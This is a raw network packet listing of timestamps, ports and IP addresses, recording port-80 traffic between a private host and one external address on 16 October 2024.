Oct 16, 2024 19:22:40.398139954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398139954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398139954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398139954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398189068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398189068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398340940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398507118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398586988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398586988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398586988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398586988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398606062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398639917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398639917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398760080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398812056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398812056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398853064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398853064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398869038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398890972 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398895025 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398900032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398904085 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398907900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398911953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398916006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398919106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398930073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398933887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398941994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398946047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398950100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398952961 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398957014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398961067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398964882 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398973942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398977995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398987055 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398991108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.398989916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399000883 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399004936 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399020910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399024963 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399034023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399038076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399040937 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399045944 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399049997 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399058104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399061918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399061918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399063110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399061918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399068117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399071932 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399075985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399079084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399080992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399082899 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399087906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399091005 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399101019 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399101019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399106026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399117947 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399122000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399131060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399131060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399132013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399136066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399139881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399148941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399154902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399168968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399173975 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399220943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399220943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399220943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399220943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399220943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399409056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399434090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399447918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399447918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399507999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399507999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399529934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399569035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399569035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399569035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399637938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399637938 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399673939 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399678946 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399682045 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399686098 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399702072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399719954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399719954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399749994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399754047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399758101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399761915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.399777889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399777889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399876118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399876118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399914026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.399914026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400033951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400038004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400046110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400049925 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400058985 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400058985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400063038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400077105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400165081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400165081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400203943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400224924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400285006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400285006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400285006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400285006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400343895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400343895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400398970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400398970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400432110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400530100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400530100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400530100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400640011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400640011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400640011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400665998 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400670052 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.400702000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400702000 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400726080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400726080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400814056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400814056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400814056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400814056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400882959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400882959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400882959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.400882959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401011944 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401041031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401158094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401158094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401158094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401158094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401179075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401179075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401185036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401189089 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401197910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401201963 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401210070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401213884 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.401230097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401230097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401257038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401349068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401350021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401350021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401350021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401350021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401350021 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401395082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401395082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401509047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401590109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401590109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401590109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401609898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401609898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401664972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401664972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401700974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401700974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401817083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401817083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401818037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401818037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401818037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401870966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401870966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401870966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.401870966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402021885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402051926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402059078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402062893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402070045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402070045 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402086020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402095079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402098894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402250051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402321100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402321100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402333975 CEST	80	49715	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402338982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402347088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402348042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402347088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402352095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402355909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402430058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402441025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402447939 CEST	49715	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402455091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402463913 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402473927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402477980 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.402647018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402647018 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402647972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402647972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402647972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402647972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402717113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402717113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402735949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402735949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402781963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402781963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402834892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402834892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.402960062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403143883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403218985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403218985 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403284073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403284073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403284073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403285027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403327942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403327942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403400898 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403409958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403410912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403492928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403492928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403532028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403532028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403585911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403585911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403603077 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.403656006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.403681993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.403687000 CEST	80	49716	185.215.113.19	192.168.2.9
